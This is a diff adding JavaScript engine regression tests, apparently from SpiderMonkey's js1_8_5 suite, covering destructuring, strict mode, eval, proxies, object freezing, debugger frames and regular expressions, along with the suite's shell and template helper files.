http://creativecommons.org/licenses/publicdomain/ + */ +var expect = "global"; +var actual = expect; +function f([actual]) { } +f(["local"]); +reportCompare(expect, actual, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-620376-1.js b/js/src/tests/js1_8_5/regress/regress-620376-1.js new file mode 100644 index 000000000..de55a18c2 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-620376-1.js @@ -0,0 +1,24 @@ +// |reftest| skip-if(Android) +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Igor Bukanov + */ + +// Test that we can terminate looping array enumeration +function test() { + if (typeof timeout != "function") + return; + + var p = new Proxy({}, { onwKeys: function() { return Array(1e9); }}); + + expectExitCode(6); + timeout(0.001); + + var n = 0; + for (i in p) { ++n;} + return n; +} + +test(); +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-621814.js b/js/src/tests/js1_8_5/regress/regress-621814.js new file mode 100644 index 000000000..146a2f3ed --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-621814.js @@ -0,0 +1,13 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ +var expect = 'pass'; +var actual = expect; +function f({"\xF51F": x}) {} +try { + eval(uneval(f)); +} catch (e) { + actual = '' + e; +} +reportCompare(expect, actual, ""); diff --git a/js/src/tests/js1_8_5/regress/regress-624199.js b/js/src/tests/js1_8_5/regress/regress-624199.js new file mode 100644 index 000000000..09eda4f5c --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-624199.js @@ -0,0 +1,17 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ +function roundTrip(f) { + try { + eval(uneval(f)); + return true; + } catch (e) { + return '' + e; + } +} + +function f() { if (true) { 'use strict'; } var eval; } +assertEq(roundTrip(f), true); + +reportCompare(true,true); diff --git a/js/src/tests/js1_8_5/regress/regress-624547.js b/js/src/tests/js1_8_5/regress/regress-624547.js new file mode 100644 index 000000000..659b64750 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-624547.js @@ -0,0 +1,16 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function f(x) { + delete arguments[0]; + for(var i=0; i<20; i++) { + arguments[0] !== undefined; + } +} + +/* Don't crash. */ +f(1); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-624968.js b/js/src/tests/js1_8_5/regress/regress-624968.js new file mode 100644 index 000000000..b631df90a --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-624968.js @@ -0,0 +1,9 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributor: Bob Clary <bclary@bclary.com> + +try { + new {prototype: TypeError.prototype}; +} catch (e) {} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-626436.js b/js/src/tests/js1_8_5/regress/regress-626436.js new file mode 100644 index 000000000..09b9093d7 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-626436.js @@ -0,0 +1,7 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ +// Contributors: Christian Holler <decoder@own-hero.net>, Jesse Ruderman <jruderman@gmail.com> + +(1 ? 2 : delete(0 ? 0 : {})).x; + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-633741.js b/js/src/tests/js1_8_5/regress/regress-633741.js new file mode 100644 index 000000000..6ec1c9261 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-633741.js @@ -0,0 +1,18 @@ +// |reftest| skip +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Jan de Mooij + */ + +Object.preventExtensions(this); +delete Function; + +try { + /* Don't assert. */ + Object.getOwnPropertyNames(this); +} catch(e) { + reportCompare(true, false, "this shouldn't have thrown"); +} +reportCompare(0, 0, "ok"); + diff --git a/js/src/tests/js1_8_5/regress/regress-634210-1.js b/js/src/tests/js1_8_5/regress/regress-634210-1.js new file mode 100644 index 000000000..02a1e14f1 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-634210-1.js @@ -0,0 +1,11 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function f() {} +f.p = function() {}; +Object.freeze(f); +f.p; + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-634210-2.js b/js/src/tests/js1_8_5/regress/regress-634210-2.js new file mode 100644 index 000000000..28adc5552 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-634210-2.js @@ -0,0 +1,13 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var a = []; +for (var i = 0; i < 2; i++) { + a[i] = {m: function () {}}; + Object.defineProperty(a[i], "m", {writable: false}); +} +assertEq(a[0].m === a[1].m, false); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-634210-3.js b/js/src/tests/js1_8_5/regress/regress-634210-3.js new file mode 100644 index 000000000..e3ec7d81b --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-634210-3.js @@ -0,0 +1,13 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +var a = []; +for (var i = 0; i < 2; i++) { + a[i] = {m: function () {}}; + Object.defineProperty(a[i], "m", {configurable: false}); +} +assertEq(a[0].m === a[1].m, false); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-634210-4.js b/js/src/tests/js1_8_5/regress/regress-634210-4.js new file mode 100644 index 000000000..e4ff870d5 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-634210-4.js @@ -0,0 +1,20 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +function outer() { + function f() {} + f.p = function() {}; + Object.seal(f); + return f.p; +} + +var m1 = outer(); +var m2 = outer(); +assertEq(m1 === m2, false); + +m1.foo = "hi"; +assertEq(m2.foo, undefined); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-635195.js b/js/src/tests/js1_8_5/regress/regress-635195.js new file mode 100644 index 000000000..89980b05a --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-635195.js @@ -0,0 +1,8 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var obj = {set x(v) {}}; +obj.watch("x", function() { delete obj.x; }); +obj.x = "hi"; // don't assert + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-636364.js b/js/src/tests/js1_8_5/regress/regress-636364.js new file mode 100644 index 000000000..02df9878a --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-636364.js @@ -0,0 +1,29 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributors: Jason Orendorff, Brendan Eich + */ + +if (typeof newGlobal == 'function') { + var gsame = newGlobal('same-compartment'); + + gsame.eval("function f() { return this; }"); + f = gsame.f; + assertEq(f(), gsame); + + gsame.eval("function g() { 'use strict'; return this; }"); + g = gsame.g; + assertEq(g(), undefined); + + var gnew = newGlobal(); + + gnew.eval("function f() { return this; }"); + f = gnew.f; + assertEq(f(), gnew); + + gnew.eval("function g() { 'use strict'; return this; }"); + g = gnew.g; + assertEq(g(), undefined); +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-636394.js b/js/src/tests/js1_8_5/regress/regress-636394.js new file mode 100644 index 000000000..d1a249786 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-636394.js @@ -0,0 +1,10 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var a = {p0: function () {}}; +var b = /f/; +b.__proto__ = a; +b.watch("p0", function () {}); +b.p0; + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-640075.js b/js/src/tests/js1_8_5/regress/regress-640075.js new file mode 100644 index 000000000..449c6ef08 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-640075.js @@ -0,0 +1,15 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +"use strict"; +try { + eval("(function() { eval(); function eval() {} })"); + assertEq(0, 1); +} catch (e) { + assertEq(e.name, "SyntaxError"); +} + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-642247.js b/js/src/tests/js1_8_5/regress/regress-642247.js new file mode 100644 index 000000000..318079d72 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-642247.js @@ -0,0 +1,13 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +if (typeof timeout == "function") { + assertEq(typeof timeout(), "number"); + assertEq(typeof timeout(1), "undefined"); +} + +reportCompare(0, 0, "ok"); + diff --git a/js/src/tests/js1_8_5/regress/regress-643222.js b/js/src/tests/js1_8_5/regress/regress-643222.js new file mode 100644 index 000000000..52d3aa9cd --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-643222.js @@ -0,0 +1,12 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +/* This shouldn't trigger an assertion. */ +(function () { + eval("var x=delete(x)") +})(); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-646820-1.js b/js/src/tests/js1_8_5/regress/regress-646820-1.js new file mode 100644 index 000000000..535878d50 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-646820-1.js @@ -0,0 +1,9 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +(function () { + var [x, y] = [1, function () x]; + assertEq(y(), 1); +})(); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-646820-2.js b/js/src/tests/js1_8_5/regress/regress-646820-2.js new file mode 100644 index 000000000..a6c9d5a81 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-646820-2.js @@ -0,0 +1,11 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +(function () { + var obj = {prop: 1}; + var [x, {prop: y}] = [function () y, obj]; + assertEq(y, 1); + assertEq(x(), 1); +})(); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-646820-3.js b/js/src/tests/js1_8_5/regress/regress-646820-3.js new file mode 100644 index 000000000..392a4345d --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-646820-3.js @@ -0,0 +1,9 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +(function () { + var [x, y] = [function () y, 13]; + assertEq(x(), 13); +})(); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-665355.js b/js/src/tests/js1_8_5/regress/regress-665355.js new file mode 100644 index 000000000..ef91161c4 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-665355.js @@ -0,0 +1,16 @@ +var x = new ArrayBuffer(2); + +var test = function(newProto) { +try { + x.__proto__ = newProto; + return false; +} catch(e) { + return true; +} +} + +assertEq(test(x), true); +assertEq(test({}), true); +assertEq(test(null), true); + +reportCompare(true, true); diff --git a/js/src/tests/js1_8_5/regress/regress-672892.js b/js/src/tests/js1_8_5/regress/regress-672892.js new file mode 100644 index 000000000..57c8732eb --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-672892.js @@ -0,0 +1,8 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +with (0) + for (var b in 0) // don't assert in parser + ; + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-672893.js b/js/src/tests/js1_8_5/regress/regress-672893.js new file mode 100644 index 000000000..497b6132f --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-672893.js @@ -0,0 +1,18 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +function f() { + return function () { return function () { return function () { + return function () { return function () { return function () { + return function () { return function () { return function () { + return function () { return function () { return function () { + return function () { return function () { return function (a) { + var v = a; + assertEq(v, 42); + return function() { return v; }; + }; }; }; }; }; }; }; }; }; }; }; }; }; }; }; +}; + +assertEq(f()()()()()()()()()()()()()()()(42)(), 42); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-694306.js b/js/src/tests/js1_8_5/regress/regress-694306.js new file mode 100644 index 000000000..84bfc1ded --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-694306.js @@ -0,0 +1,21 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var x; +try { + eval("var {if} = {'if': 1};"); +} catch (exc) { + x = exc; +} +assertEq(x instanceof SyntaxError, true); +assertEq("if" in this, false); + +x = undefined; +try { + Function("var {if} = {'if': 1};"); +} catch (exc) { + x = exc; +} +assertEq(x instanceof SyntaxError, true); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-698028-1.js b/js/src/tests/js1_8_5/regress/regress-698028-1.js new file mode 100644 index 000000000..fb1876b27 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-698028-1.js @@ -0,0 +1,24 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +{ + let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f, + x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f, + x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f, + x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f, + x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f, + x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f, + x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f, + x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f, + x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f, + x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f, + xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf, + xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf, + xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf, + xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf, + xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef, + xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff; + eval(""); +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-698028-2.js b/js/src/tests/js1_8_5/regress/regress-698028-2.js new file mode 100644 index 000000000..09bdf2639 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-698028-2.js @@ -0,0 +1,29 @@ +// |reftest| skip-if(!xulRuntime.shell) -- uses evalInFrame +// +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +var g = newGlobal(); +var dbg = new g.Debugger(this); + +if (typeof evalInFrame === 'function') { + let x00, x01, x02, x03, x04, x05, x06, x07, x08, x09, x0a, x0b, x0c, x0d, x0e, x0f, + x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x1a, x1b, x1c, x1d, x1e, x1f, + x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x2a, x2b, x2c, x2d, x2e, x2f, + x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x3a, x3b, x3c, x3d, x3e, x3f, + x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x4a, x4b, x4c, x4d, x4e, x4f, + x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x5a, x5b, x5c, x5d, x5e, x5f, + x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x6a, x6b, x6c, x6d, x6e, x6f, + x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x7a, x7b, x7c, x7d, x7e, x7f, + x80, x81, x82, x83, x84, x85, x86, x87, x88, x89, x8a, x8b, x8c, x8d, x8e, x8f, + x90, x91, x92, x93, x94, x95, x96, x97, x98, x99, x9a, x9b, x9c, x9d, x9e, x9f, + xa0, xa1, xa2, xa3, xa4, xa5, xa6, xa7, xa8, xa9, xaa, xab, xac, xad, xae, xaf, + xb0, xb1, xb2, xb3, xb4, xb5, xb6, xb7, xb8, xb9, xba, xbb, xbc, xbd, xbe, xbf, + xc0, xc1, xc2, xc3, xc4, xc5, xc6, xc7, xc8, xc9, xca, xcb, xcc, xcd, xce, xcf, + xd0, xd1, xd2, xd3, xd4, xd5, xd6, xd7, xd8, xd9, xda, xdb, xdc, xdd, xde, xdf, + xe0, xe1, xe2, xe3, xe4, xe5, xe6, xe7, xe8, xe9, xea, xeb, xec, xed, xee, xef, + xf0, xf1, xf2, xf3, xf4, xf5, xf6, xf7, xf8, xf9, xfa, xfb, xfc, xfd, xfe, xff; + evalInFrame(1, ""); +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-698028-3.js b/js/src/tests/js1_8_5/regress/regress-698028-3.js new file mode 100644 index 000000000..7dba2d954 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-698028-3.js @@ -0,0 +1,15 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +if (typeof Debugger === 'function') { + var g = newGlobal(); + var dbg = new Debugger(g); + dbg.onDebuggerStatement = function (frame) { frame.eval(''); }; + var s = '{ let '; + for (var i = 0; i < 128; i++) + s += 'x' + i + ', '; + s += 'X = 0; debugger; }'; + g.eval(s); +} + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-699682.js b/js/src/tests/js1_8_5/regress/regress-699682.js new file mode 100644 index 000000000..ad1b4e41e --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-699682.js @@ -0,0 +1,29 @@ +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// Don't assert trying to parse any of these. +var a = ["({''})", + "({''} = {})", + "var {''};", + "var {'', a} = {a: 0};", + "var {'bad'};", + "({'bad'} = {bad: 0});", + "var {'if'};", + "function f({''}) {}", + "function f({a, 'bad', c}) {}"]; + +var x; +for (var i = 0; i < a.length; i++) { + x = undefined; + try { + eval(a[i]); + } catch (exc) { + x = exc; + } + assertEq(x instanceof SyntaxError, true); +} +assertEq("" in this, false); +assertEq("bad" in this, false); +assertEq("if" in this, false); + +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/regress/regress-736792.js b/js/src/tests/js1_8_5/regress/regress-736792.js new file mode 100644 index 000000000..01744f6a8 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-736792.js @@ -0,0 +1,23 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +if (typeof options == "function") { + var opts = options(); + if (!/\bstrict_mode\b/.test(opts)) + options("strict_mode"); +} + +var ok = false; +try { + eval('foo = true;'); +} catch (e) { + if (/^ReferenceError:/.test(e.toString())) + ok = true; +} + +if (ok) + reportCompare(0, 0, "ok"); +else + reportCompare(true, false, "this should have thrown a ReferenceError"); diff --git a/js/src/tests/js1_8_5/regress/regress-810525.js b/js/src/tests/js1_8_5/regress/regress-810525.js new file mode 100644 index 000000000..520ca413e --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-810525.js @@ -0,0 +1,25 @@ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ +var expect = ''; +var actual = ''; + +function test(s) { + var threw = false; + try { + eval(s); + } catch (e) { + assertEq(e.message.indexOf('(intermediate value)'), -1); + threw = true; + } finally { + assertEq(threw, true); + } +} + +test("({p:1, q:2}).m()"); +test("[].m()"); +test("[1,2,3].m()"); +test("/hi/.m()"); + +reportCompare(0, 0, "ok"); diff --git a/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js new file mode 100644 index 000000000..1b31f3c53 --- /dev/null +++ b/js/src/tests/js1_8_5/regress/regress-yarr-regexp.js @@ -0,0 +1,20 @@ +function toSource(o) { return o === null ? "null" : o.toSource(); } + +var gcgcz = /((?:.)+)((?:.)*)/; /* Greedy capture, greedy capture zero. */ +reportCompare(["a", "a", ""].toSource(), gcgcz.exec("a").toSource()); +reportCompare(["ab", "ab", ""].toSource(), gcgcz.exec("ab").toSource()); +reportCompare(["abc", "abc", ""].toSource(), gcgcz.exec("abc").toSource()); + +reportCompare(["a", ""].toSource(), toSource(/((?:)*?)a/.exec("a"))); +reportCompare(["a", ""].toSource(), toSource(/((?:.)*?)a/.exec("a"))); +reportCompare(["a", ""].toSource(), toSource(/a((?:.)*)/.exec("a"))); + +reportCompare(["B", "B"].toSource(), toSource(/([A-Z])/.exec("fooBar"))); + +// These just mustn't crash. See bug 872971 +try { reportCompare(/x{2147483648}x/.test('1'), false); } catch (e) {} +try { reportCompare(/x{2147483648,}x/.test('1'), false); } catch (e) {} +try { reportCompare(/x{2147483647,2147483648}x/.test('1'), false); } catch (e) {} +// Same for these. See bug 813366 +try { reportCompare("".match(/.{2147483647}11/), null); } catch (e) {} +try { reportCompare("".match(/(?:(?=g)).{2147483648,}/ + ""), null); } catch (e) {} diff --git a/js/src/tests/js1_8_5/regress/shell.js b/js/src/tests/js1_8_5/regress/shell.js new file mode 100644 index 000000000..e69de29bb --- /dev/null +++ b/js/src/tests/js1_8_5/regress/shell.js diff --git a/js/src/tests/js1_8_5/shell.js b/js/src/tests/js1_8_5/shell.js new file mode 100644 index 000000000..8e67562f1 --- /dev/null +++ b/js/src/tests/js1_8_5/shell.js @@ -0,0 +1,33 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + */ + +// Note, copied from elsewhere +if (typeof assertThrowsInstanceOf === 'undefined') { + var assertThrowsInstanceOf = function assertThrowsInstanceOf(f, ctor, msg) { + var fullmsg; + try { + f(); + } catch (exc) { + if (exc instanceof ctor) + return; + fullmsg = "Assertion failed: expected exception " + ctor.name + ", got " + exc; + } + if (fullmsg === undefined) + fullmsg = "Assertion failed: expected exception " + ctor.name + ", no exception thrown"; + if (msg !== undefined) + fullmsg += " - " + msg; + throw new Error(fullmsg); + }; +} + +// NOTE: This only turns on 1.8.5 in shell builds. The browser requires the +// futzing in js/src/tests/browser.js (which only turns on 1.8, the most +// the browser supports). +if (typeof version != 'undefined') +{ + version(185); +} + diff --git a/js/src/tests/js1_8_5/template.js b/js/src/tests/js1_8_5/template.js new file mode 100644 index 000000000..089aae2d6 --- /dev/null +++ b/js/src/tests/js1_8_5/template.js @@ -0,0 +1,28 @@ +/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */ +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: + */ + +//----------------------------------------------------------------------------- +var BUGNUMBER = 99999; +var summary = ''; +var actual = ''; +var expect = ''; + + +//----------------------------------------------------------------------------- +test(); +//----------------------------------------------------------------------------- + +function test() +{ + enterFunc ('test'); + printBugNumber(BUGNUMBER); + printStatus (summary); + + reportCompare(expect, actual, summary); + + exitFunc ('test'); +} |